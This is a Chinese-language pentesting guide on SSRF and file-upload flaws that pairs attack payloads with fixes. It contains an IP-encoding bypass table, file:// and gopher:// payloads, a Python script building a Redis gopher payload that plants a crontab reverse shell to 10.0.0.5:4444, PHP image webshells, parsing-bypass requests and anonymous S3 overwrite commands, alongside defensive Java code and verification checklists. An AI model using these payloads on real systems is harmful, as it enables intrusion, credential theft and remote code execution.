跳转至

SSRF 与文件上传漏洞测试

这两类漏洞的共同点:危险能力被交给用户输入。SSRF 是"服务端替攻击者发请求",文件上传是"服务端替攻击者落盘"。测试时的核心不是背 payload,而是判断过滤发生在哪一层——字符串层、DNS 层、连接层,还是执行层。

一、SSRF:先看代码怎么写错的

1.1 三种典型写法

// 写法 A:直接开连接(最危险)
URL url = new URL(userInput);                 // 协议由输入决定
URLConnection conn = url.openConnection();    // http 默认跟随 302
InputStream in = conn.getInputStream();

// 写法 B:RestTemplate / WebClient
restTemplate.getForObject(userInput, String.class);
webClient.get().uri(userInput).retrieve().bodyToMono(String.class);

// 写法 C:只做了字符串黑名单
if (url.contains("127.0.0.1") || url.contains("localhost")) {
    throw new IllegalArgumentException("非法地址");
}

写法 C 的问题是字符串不等于 IP。下面这些值在很多解析器里都指向 127.0.0.1,但字符串里没有 127.0.0.1:

输入 解析结果 说明
http://2130706433/ 127.0.0.1 十进制整数
http://017700000001/ 127.0.0.1 八进制
http://0x7f000001/ 127.0.0.1 十六进制
http://127.1/ 127.0.0.1 省略段
http://0.0.0.0:8080/ 本机 Linux 上连 0.0.0.0 等价本机
http://[::1]/ ::1 IPv6 回环
http://[::ffff:127.0.0.1]/ 127.0.0.1 IPv4-mapped
http://127.0.0.1.nip.io/ 127.0.0.1 泛解析域名
http://evil.com@127.0.0.1/ 127.0.0.1 userinfo 干扰肉眼判断
http://127.0.0.1:80\\@evil.com/ 取决于解析器 反斜杠处理不一致

验证方法:不要只看请求是否发出,要看服务端实际连到了谁。在目标机 tcpdump -i any -n port 80 或看服务端出口日志,比看响应体可靠。

1.2 协议层同样危险

new URL() 不只接受 http:

file:///etc/passwd
file:///c:/windows/win.ini
jar:file:///opt/app.jar!/BOOT-INF/classes/application.yml
ftp://127.0.0.1:21/
dict://127.0.0.1:6379/info
gopher://127.0.0.1:6379/_%2A1%0D%0A...
netdoc:///etc/passwd

只要协议白名单没在 new URL() 之前做,file:// 直接读文件就是高危。gopher:// 更是把 SSRF 升级成"任意 TCP 报文"。

1.3 DNS Rebinding:为什么"解析后校验"也会被绕过

很多实现是这样的:

InetAddress addr = InetAddress.getByName(url.getHost());
if (addr.isLoopbackAddress() || addr.isSiteLocalAddress()) {
    throw new IllegalArgumentException("禁止内网");
}
// 校验通过后再发请求,此处会二次 DNS 解析 → 攻击者把域名 TTL 设为 0,
// 第一次解析返回公网 IP 通过校验,第二次解析返回 127.0.0.1
HttpURLConnection conn = (HttpURLConnection) url.openConnection();

修复必须是解析一次、连接用解析结果,而不是校验一次、再连一次:

public static void safeGet(String rawUrl) throws IOException {
    URL url = new URL(rawUrl);
    if (!"http".equals(url.getProtocol()) && !"https".equals(url.getProtocol())) {
        throw new IllegalArgumentException("protocol not allowed");
    }
    String host = url.getHost();
    InetAddress addr = InetAddress.getByName(host);       // 只解析这一次
    assertPublic(addr);                                    // 校验这个地址
    // 用已解析的 IP 直连,Host 头保留原域名,杜绝二次解析
    HttpRequest req = HttpRequest.newBuilder()
            .uri(URI.create(url.getProtocol() + "://" + addr.getHostAddress()
                    + (url.getPort() > 0 ? ":" + url.getPort() : "")
                    + url.getPath()))
            .header("Host", host)
            .timeout(Duration.ofSeconds(5))
            .GET().build();
    HttpClient.newBuilder()
            .followRedirects(HttpClient.Redirect.NEVER)   // 不跟随跳转
            .build()
            .send(req, HttpResponse.BodyHandlers.ofString());
}

private static void assertPublic(InetAddress a) {
    if (a.isAnyLocalAddress() || a.isLoopbackAddress() || a.isLinkLocalAddress()
            || a.isSiteLocalAddress() || a.isMulticastAddress()) {
        throw new IllegalArgumentException("blocked: " + a.getHostAddress());
    }
    byte[] b = a.getAddress();
    if (b.length == 16) {                                  // IPv6 ULA fc00::/7
        if ((b[0] & 0xfe) == 0xfc) throw new IllegalArgumentException("blocked ULA");
    }
}

要点:

  1. followRedirects(NEVER) —— 否则第一跳合法、第二跳 302 到内网,前面的校验全部作废。
  2. IPv6 的 fc00::/7、fe80::/10 不在 isSiteLocalAddress() 的覆盖范围内(Java 对 IPv6 站点本地判断有限),要单独判。
  3. 0.0.0.0 属于 isAnyLocalAddress(),但有些实现漏了。

1.4 云元数据接口:能不能打穿看的是 Header

云 地址 前置条件
AWS IMDSv1 http://169.254.169.254/latest/meta-data/iam/security-credentials/ 直接 GET
AWS IMDSv2 同上 先 PUT /latest/api/token,带 X-aws-ec2-metadata-token-ttl-seconds,再带 token 请求
阿里云 http://100.100.100.200/latest/meta-data/ 直接 GET
腾讯云 http://metadata.tencentyun.com/latest/meta-data/ 直接 GET
GCP http://metadata.google.internal/computeMetadata/v1/ 必须带 Metadata-Flavor: Google

所以判断 SSRF 危害时要区分能力等级:

  • 只能发 GET、不能自定义 Header → 打不了 IMDSv2 和 GCP
  • 能自定义 Header → 危害显著上升
  • 只能盲打(无回显)→ 仍可通过 DNSLog 确认,配合 gopher 可做盲利用

1.5 gopher 打 Redis:一条完整可复现的链路

gopher:// 允许在 URL 里塞任意 TCP 字节,配合 Redis 未授权就是 RCE。RESP 协议用 \r\n 分隔,URL 里需要百分号编码。用脚本生成比手写靠谱:

from urllib.parse import quote

def resp(*args: str) -> str:
    out = f"*{len(args)}\r\n"
    for a in args:
        out += f"${len(a)}\r\n{a}\r\n"
    return out

# 目标:写 crontab 反弹 shell(路径随发行版不同,先 CONFIG GET dir 确认)
cmds = (
    resp("CONFIG", "SET", "dir", "/var/spool/cron/") +
    resp("CONFIG", "SET", "dbfilename", "root") +
    resp("SET", "x", "\n\n* * * * * bash -i >& /dev/tcp/10.0.0.5/4444 0>&1\n\n") +
    resp("SAVE")
)
print("gopher://127.0.0.1:6379/_" + quote(cmds, safe=""))

实战里还要注意:

  • Redis 6+ 有 protected-mode,非本地连接默认拒绝;但 SSRF 恰好是"本地连接",仍然能打。
  • Redis 7 的 CONFIG SET dir 受 enable-protected-configs 限制,很多环境会失败;此时改用主从复制 RCE(SLAVEOF + 恶意 module)或写 SSH authorized_keys。
  • 写入前先 CONFIG GET dir 和 CONFIG GET dbfilename,盲写经常写到容器内不可写目录。
  • 如果回显被吞,用 DNSLog 判断是否执行(crontab 触发后再反弹)。

同样思路可打 MySQL(gopher 伪造认证包)、FastCGI(gopher 打 9000 端口执行 PHP)、内网 HTTP(gopher 发 POST 打内网管理接口)。

1.6 SSRF 测试清单

  • 所有"URL/图片地址/webhook/回调/导入"参数是否都试过
  • 协议:file://、dict://、gopher://、ftp://
  • IP 变形表逐条过(十进制/八进制/十六进制/省略段/IPv6)
  • 域名指向内网:nip.io、sslip.io、自建 DNS、rbndr.us
  • 302 跳转:外网地址 302 到 127.0.0.1
  • DNS Rebinding(TTL=0 双解析)
  • 元数据接口:AWS/阿里/腾讯/GCP 四家都试
  • 端口探测:对 127.0.0.1:22/3306/6379/9000 比较响应时间差
  • 修复验证:换用重定向、DNS 重绑定、IPv6、0.0.0.0 再打一遍

二、文件上传:过滤层次决定绕过方式

2.1 四个检查点与对应的绕过

检查点 服务端行为 绕过
前端 accept / JS 校验 仅浏览器侧 直接改包,删掉 JS
后缀黑名单 blacklist = ["php","jsp"] .phtml、.php5、.pht、.jspx、.jspf、大小写 .PhP、双后缀 a.jpg.php
后缀白名单 endsWith(".jpg") a.jsp;.jpg、a.jsp%00.jpg(旧容器)、a.jsp/.jpg
MIME 校验 Content-Type 头 改包为 image/jpeg
文件头校验 读前 6 字节 图片马 GIF89a<?php ...?>、FFD8FF + 代码

图片马的最小可用构造(只对"检查头 + 按后缀解析"的组合有效):

# GIF89a 开头,后面直接跟 PHP
printf 'GIF89a<?php system($_GET["c"]); ?>' > shell.gif
# 保留真实图片外观、在注释段塞代码(EXIF Comment)
exiftool -Comment='<?php system($_GET["c"]); ?>' cover.jpg

关键判断:上传目录是否按后缀交给解释器。如果 Nginx 只把 .php 交给 PHP-FPM,那 shell.gif 传上去就是死文件。这时要找的是"解析漏洞",而不是继续换后缀。

2.2 Nginx + PHP-FPM 解析漏洞复现

漏洞配置(历史版本常见):

location ~ \.php$ {
    fastcgi_pass 127.0.0.1:9000;
    fastcgi_index index.php;
    include fastcgi_params;
    # 缺少 fastcgi_split_path_info,且 PHP 侧 cgi.fix_pathinfo=1(默认)
}

当请求 /upload/shell.jpg/shell.php:

  1. location ~ \.php$ 匹配成功(URL 以 .php 结尾);
  2. SCRIPT_FILENAME 被拼成 /var/www/upload/shell.jpg/shell.php;
  3. PHP-FPM 发现该文件不存在,fix_pathinfo=1 会逐级向上回溯,找到 /var/www/upload/shell.jpg;
  4. 以 PHP 解析 shell.jpg → 执行里面的代码。

验证方法:上传 shell.jpg(内容是 <?php phpinfo();?>),请求 /upload/shell.jpg/x.php,看是否返回 phpinfo 页面。

修复:

location ~ \.php$ {
    fastcgi_split_path_info ^(.+?\.php)(/.*)$;
    if (!-f $document_root$fastcgi_script_name) { return 404; }
    fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
    fastcgi_param PATH_INFO $fastcgi_path_info;
    fastcgi_pass 127.0.0.1:9000;
}

PHP 侧同时设 cgi.fix_pathinfo=0。

2.3 Tomcat 的 ; 路径参数

Tomcat 会剥离 ;jsessionid=... 这类路径参数。某些只做字符串后缀校验的 WAF/过滤器下:

POST /upload  filename=shell.jsp;.jpg
访问 /upload/shell.jsp;.jpg

Tomcat 归一化后映射到 shell.jsp,*.jsp 交给 JspServlet 编译执行。测试时注意:上传名和访问名要一致地试,有的环境只归一化一次。

2.4 对象存储场景

上传到 OSS/S3 时重点变成权限与覆盖,不是解析:

  • Bucket ACL 是否 public-read / public-read-write
  • 返回的 URL 是否可预测(/upload/2026/09/25/{uuid}.jpg vs /upload/{原文件名})
  • 是否允许覆盖他人对象(同名覆盖 → 替换头像、替换安装包)
  • 是否校验 Content-Type(text/html 上传后在自定义域下可造成存储型 XSS)
  • 临时凭证的权限范围(STS 是否只允许 PutObject 到指定前缀)
# 判断 bucket 是否可列
aws s3 ls s3://target-bucket --no-sign-request
# 判断对象是否可匿名覆盖
aws s3 cp evil.html s3://target-bucket/path/a.html --no-sign-request

2.5 一条完整的测试记录模板

目标接口:POST /api/upload/avatar
请求体:multipart/form-data,字段 file
服务端语言:Java(Spring Boot) + Nginx 反代
已做校验:后缀白名单(jpg/png/gif)、Content-Type、文件头(FFD8FF)
测试结论:
  1) 文件头校验为"前 3 字节",GIF89a + PHP 代码通过校验 → 上传成功
  2) 落盘路径 /data/upload/2026/09/25/xxx.gif,不可直接访问(Nginx 无 .gif→PHP 规则)
  3) 尝试 /xxx.gif/x.php → 404(Nginx 已配 fastcgi_split_path_info,无解析漏洞)
  4) 尝试 SVG 上传 → 通过,返回 URL 在用户域下可直接渲染 → 存储型 XSS(中危)
最终定级:中危(存储型 XSS),上传本身未形成代码执行
修复建议:白名单增加内容嗅探,SVG 走独立下载域并加 Content-Disposition: attachment

三、修复验证:要能证明"修好了"

项 验证动作 通过标准
协议白名单 传 file://、gopher:// 返回参数错误,且服务端无对应连接
内网封禁 传 1.1 节表格全部变形 全部拒绝,含 IPv6 与 0.0.0.0
重定向 外网 URL 302 → 127.0.0.1 不跟随,或第二跳被拦
DNS 重绑定 rbndr.us 域名 连接目标为校验时那个 IP
上传后缀 .jsp、.jspx、.jsp;.jpg、.JSP 全部拒绝
内容检测 GIF89a 图片马、EXIF 注入 拒绝,或落盘后不可执行
解析配置 /x.gif/x.php 404,不返回图片内容
目录权限 上传目录尝试执行 无执行权限,返回静态内容或 403

四、常见误区(都是真实踩过的)

  1. 只测前端:accept="image/*" 挡不住改包,必须确认服务端复检。
  2. 只换后缀不看落盘名:服务端随机重命名后,shell.php 变成 a1b2c3.dat,后缀攻击直接失效,要转去测内容与解析。
  3. 把 SSRF 当"能访问内网":没回显的盲 SSRF 也要按高危算,尤其能打 gopher 时。
  4. 忽略 302:修复了 IP 校验但没关重定向,等于没修。
  5. 校验和连接不是同一个 IP:DNS Rebinding 专治这种写法。
  6. 修了上传没修解析:目录里躺着 .jpg,Nginx 配置一改就活了。

相关阅读